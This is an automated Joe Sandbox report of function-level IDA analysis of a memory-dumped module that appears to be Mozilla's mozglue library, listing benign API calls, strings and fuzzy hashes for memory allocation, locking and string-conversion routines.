malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C622620,?,?,?,6C6160AA,6C615FCB,6C6179A3), ref: 6C62284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C622620,?,?,?,6C6160AA,6C615FCB,6C6179A3), ref: 6C62289A
free.MOZGLUE(?,?,?,6C622620,?,?,?,6C6160AA,6C615FCB,6C6179A3), ref: 6C6228F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C622620,?,?,?,6C6160AA,6C615FCB,6C6179A3), ref: 6C622910
free.MOZGLUE(00000001,?,?,6C622620,?,?,?,6C6160AA,6C615FCB,6C6179A3), ref: 6C62293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C622620,?,?,?,6C6160AA,6C615FCB,6C6179A3), ref: 6C62294E

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 63b6b27b2b9c8df4e4d1f26b3d880d512971241ea8cff71df97b38395efc9266
Instruction ID: 569add399f4d38dea8201070af66abbd62a4bb4a48e57240d7b7ef0bfcfba3ac
Opcode Fuzzy Hash: 63b6b27b2b9c8df4e4d1f26b3d880d512971241ea8cff71df97b38395efc9266
Instruction Fuzzy Hash: D641F2B1A102068FEB14CF69D88436A73F6EF45328F240939D556EB740E735E904CF95

Function 6C5DCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5DCFF6
LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5DD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C5DD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C5DD139

Strings

MOZ_CRASH(), xrefs: 6C5DD187

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: dde78b323d6b1d0cbc827ef05fd6c22a723e6b1aa42db8fe7d5ef8d80d646d6b
Instruction ID: 8df5e7d8f6c3343979bef8bab6ecc3e2e9d9edeea2e98e382b2bc0550271c49e
Opcode Fuzzy Hash: dde78b323d6b1d0cbc827ef05fd6c22a723e6b1aa42db8fe7d5ef8d80d646d6b
Instruction Fuzzy Hash: F041AF72B413164FDF04CEAE8CD036A76B4EB49714F650139E918E7784E7A5A8008BED

Function 6C5D4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5D4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5D4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5D4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5D4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5D4F1E

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 9f1397695a00a6588509fa6837239552ae9d3cc932007e9596396b654866f172
Instruction ID: 3b9be1349fa4cc35e70f166262f08991ce4e116c9b18e0429c1677d518af90aa
Opcode Fuzzy Hash: 9f1397695a00a6588509fa6837239552ae9d3cc932007e9596396b654866f172
Instruction Fuzzy Hash: 7A41AA71608702AFC705CF29C88095BBBE4FF89344F118A2DE5A697751DB30E958CB96

Function 6C63A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C65F770), ref: 6C63A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63A87B

Part of subcall function 6C63A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C63A88F,00000000), ref: 6C63A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C63A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63A90C
LeaveCriticalSection.KERNEL32(6C65F770), ref: 6C63A97E

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 459a3572355e5514103b04fa523873a66187c1a35f66bbc9db873388812bcbd2
Instruction ID: 690e7072ba6851bee77d0c98f184b07090b3563f257a69e55d635d42a8c668ed
Opcode Fuzzy Hash: 459a3572355e5514103b04fa523873a66187c1a35f66bbc9db873388812bcbd2
Instruction Fuzzy Hash: 1541A0B4A002049FDF00DFE4D885ADEB771FF05324F149629E82AAB7D1D7319945CB99

Function 6C5E1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E15E7
free.MOZGLUE(?,?,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5E152B,?,?,?,?,6C5E1248,?), ref: 6C5E1637

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 9abf812ad9e700267ca87e6f89cb861409f25deb5fe180aaea118ee7e18acef5
Instruction ID: 9327efc8962e44238542fceba6865303f681ca388bc4bec7196521564674d6f3
Opcode Fuzzy Hash: 9abf812ad9e700267ca87e6f89cb861409f25deb5fe180aaea118ee7e18acef5
Instruction Fuzzy Hash: B931C7B2A001148BCB18CF78DC5046F77A9AB893647250B2DE427DBBD6EB30D9058795

Function 6C63AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AD9D

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE01
GetLastError.KERNEL32(?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C64E330,?,6C5FC059), ref: 6C63AE3D

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bc231b7c49239a1162591f09406ff46b260bfc212b4fe37868ff71e1a05d6547
Instruction ID: 30de6af62aceb5e96d6b581c89fa9e4f16cf3bea232609c2ca3026da4307613c
Opcode Fuzzy Hash: bc231b7c49239a1162591f09406ff46b260bfc212b4fe37868ff71e1a05d6547
Instruction Fuzzy Hash: 253184B1A003159FDB14DF768C44AABBBF8EF49610F54842DE84AD7740E734D805CBA8

Function 6C635EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C64DCA0,?,?,?,6C60E8B5,00000000), ref: 6C635F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C60E8B5,00000000), ref: 6C635F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C60E8B5,00000000), ref: 6C635F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C60E8B5,00000000), ref: 6C635F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C60E8B5,00000000), ref: 6C635FD6

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 61b9565a816cbf1d3e93b74dd98c693289398de92cbe0e2c7bc6a38d9d953c68
Instruction ID: be0e4d8d07f4fcef47777d896f9c743a6b6d0e73098badb499ab78fe8daec915
Opcode Fuzzy Hash: 61b9565a816cbf1d3e93b74dd98c693289398de92cbe0e2c7bc6a38d9d953c68
Instruction Fuzzy Hash: 3531E9343006108FD714CF2AC8D8A6AB7F5BF89319FA49668E55A8B795C731EC41CF85

Function 6C5DB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5DB532
moz_xmalloc.MOZGLUE(?), ref: 6C5DB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5DB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5DB57E
free.MOZGLUE(00000000), ref: 6C5DB58F

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 86563af1116feb6b3283440b9d960132e20edea544c4a51107a3ac5cb516f4e2
Instruction ID: 15607d0a5452e4e6b1ca4ccc47db52fba61cffff37c3bb29810be99ea2da0d8b
Opcode Fuzzy Hash: 86563af1116feb6b3283440b9d960132e20edea544c4a51107a3ac5cb516f4e2
Instruction Fuzzy Hash: 9821F871A00205DBDB00DF69CC80B6ABBBAFF86304F694129E914DB342F775E911C7A5

Function 6C5DB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5DB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5DB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5DB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5DB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5DB849

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: aceb097a4f94d79a4855ad7b51a9c320232cfea6821155de6006c7289b4bdf21
Instruction ID: 50c10f3cb1345e1bcabae3bb9b9b6714392527ae6ebd1e032143ff3fa103bc95
Opcode Fuzzy Hash: aceb097a4f94d79a4855ad7b51a9c320232cfea6821155de6006c7289b4bdf21
Instruction Fuzzy Hash: 2E212EB0E003099FDF04DFA9C8855BEBBB5EF49314F148129ED06A7341E731A984CBA5

Function 6C636E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C636E78

Part of subcall function 6C636A10: InitializeCriticalSection.KERNEL32(6C65F618), ref: 6C636A68
Part of subcall function 6C636A10: GetCurrentProcess.KERNEL32 ref: 6C636A7D
Part of subcall function 6C636A10: GetCurrentProcess.KERNEL32 ref: 6C636AA1
Part of subcall function 6C636A10: EnterCriticalSection.KERNEL32(6C65F618), ref: 6C636AAE
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C636AE1
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C636B15
Part of subcall function 6C636A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C636B65
Part of subcall function 6C636A10: LeaveCriticalSection.KERNEL32(6C65F618,?,?), ref: 6C636B83

MozFormatCodeAddress.MOZGLUE ref: 6C636EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C636EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C636EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C636EFF

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 58eda8d4a6d36c1341a1c0d6d6925a4449ac5631d69de7a1522861abcd40a728
Instruction ID: 550383b057776b2747030bb2c0bd34425953669ee1087aebac6f082393df34b5
Opcode Fuzzy Hash: 58eda8d4a6d36c1341a1c0d6d6925a4449ac5631d69de7a1522861abcd40a728
Instruction Fuzzy Hash: 5821B0B1A0421A8FCB04CF29D8C469E77F5FF84308F044039E80D97240EB709A588F96

Function 6C610D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5D3DEF), ref: 6C610D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5D3DEF), ref: 6C610D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5D3DEF), ref: 6C610DAF

Strings

<jemalloc>, xrefs: 6C610D92, 6C610DB9
: (malloc) Error in VirtualFree(), xrefs: 6C610D97, 6C610DBE

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 8f4e922717177fc2f278fad4d047697dd5f1e26a9985597214cf97db2bfccdb2
Instruction ID: 763da2434c194be4bca5f9fc2ebd09151a5612a3019fc0aab0d7d506f942b203
Opcode Fuzzy Hash: 8f4e922717177fc2f278fad4d047697dd5f1e26a9985597214cf97db2bfccdb2
Instruction Fuzzy Hash: 78F0E97179829423EE20196E0C0ABAA269D6BC2B27F704036F204DADC0DA90E43086AD

Function 6C635850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C63586C
CloseHandle.KERNEL32 ref: 6C635878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C635898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6358C9
free.MOZGLUE(00000000), ref: 6C6358D3

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: 31fd92b54ebb3aa72139b06b8ce9ca4c1ac6149107acfc2aada0e7a09f8ae9dd
Instruction ID: 8e1901b1f2ee697ca25a0827451a8af0a787fbe49c2e1f3b9f11b2eeb9a3f65b
Opcode Fuzzy Hash: 31fd92b54ebb3aa72139b06b8ce9ca4c1ac6149107acfc2aada0e7a09f8ae9dd
Instruction Fuzzy Hash: 01014BB17042119BDF01EF1BDC88A067BB9EBA3329FB44176E51AC3214D73298158F8E

Function 6C627620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6275C4,?), ref: 6C62762B

Part of subcall function 6C5ECA10: malloc.MOZGLUE(?), ref: 6C5ECA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627644
GetCurrentThreadId.KERNEL32 ref: 6C62765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6274D7,6C6315FC,?,?,?), ref: 6C627677

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: e6cad1ab39c8727f88d0a278cd4ebc1869b78a2e30daeb1d1bef5a0156ad310d
Instruction ID: c07fdd471a13732dc1113f1b20b0c689b3327fa53add153fb563e5a418e3897e
Opcode Fuzzy Hash: e6cad1ab39c8727f88d0a278cd4ebc1869b78a2e30daeb1d1bef5a0156ad310d
Instruction Fuzzy Hash: 85F0C271E10746ABD700CF22C888676B778FFEA299F614316F94453601E7B0A5D18BD0

Function 6C631700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C631800

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

Part of subcall function 6C5D4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C613EBD,6C613EBD,00000000), ref: 6C5D42A9

Strings

name, xrefs: 6C631939
{marker.name} - {marker.data.name}, xrefs: 6C6318C7
Details, xrefs: 6C631925

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: d77c090b3fa30931a375bb885196b641a12846f1d9b0f9d9f8e241defbbba23a
Instruction ID: fc77a865a36c78cae986029a019b16e4f83d084e2e81fa9e069af47f909bc4c6
Opcode Fuzzy Hash: d77c090b3fa30931a375bb885196b641a12846f1d9b0f9d9f8e241defbbba23a
Instruction Fuzzy Hash: B2710570A00306DFCB04CF29C490B9ABBB1FF85304F545669D8194BB41D770EAA9CBEA

Function 6C5FD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C60CBE8: GetCurrentProcess.KERNEL32(?,6C5D31A7), ref: 6C60CBF1
Part of subcall function 6C60CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5D31A7), ref: 6C60CBFA

EnterCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD4F2
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD50B

Part of subcall function 6C5DCFE0: EnterCriticalSection.KERNEL32(6C65E784), ref: 6C5DCFF6
Part of subcall function 6C5DCFE0: LeaveCriticalSection.KERNEL32(6C65E784), ref: 6C5DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD52E
EnterCriticalSection.KERNEL32(6C65E7DC), ref: 6C5FD690
LeaveCriticalSection.KERNEL32(6C65E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C60D1C5), ref: 6C5FD751

Strings

MOZ_CRASH(), xrefs: 6C5FD4BB

Memory Dump Source

Source File: 00000000.00000002.2189728866.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2189711181.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189859471.000000006C64D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189883608.000000006C65E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2189902597.000000006C662000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 2924f6e8314fd762110f2708798a467385a2584eceb2417cd27d399bfe341261
Instruction ID: bb9d73a9f5ce42c2c1bec6dfa7da42789ba3ae8b31b6a4cfc8177324bddf2e34
Opcode Fuzzy Hash: 2924f6e8314fd762110f2708798a467385a2584eceb2417cd27d399bfe341261
Instruction Fuzzy Hash: 9651E171A047018FD768CF29C59071AB7F1EB8A704FA4492ED5AAC7B84E770E801CF96

Function 6C624630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

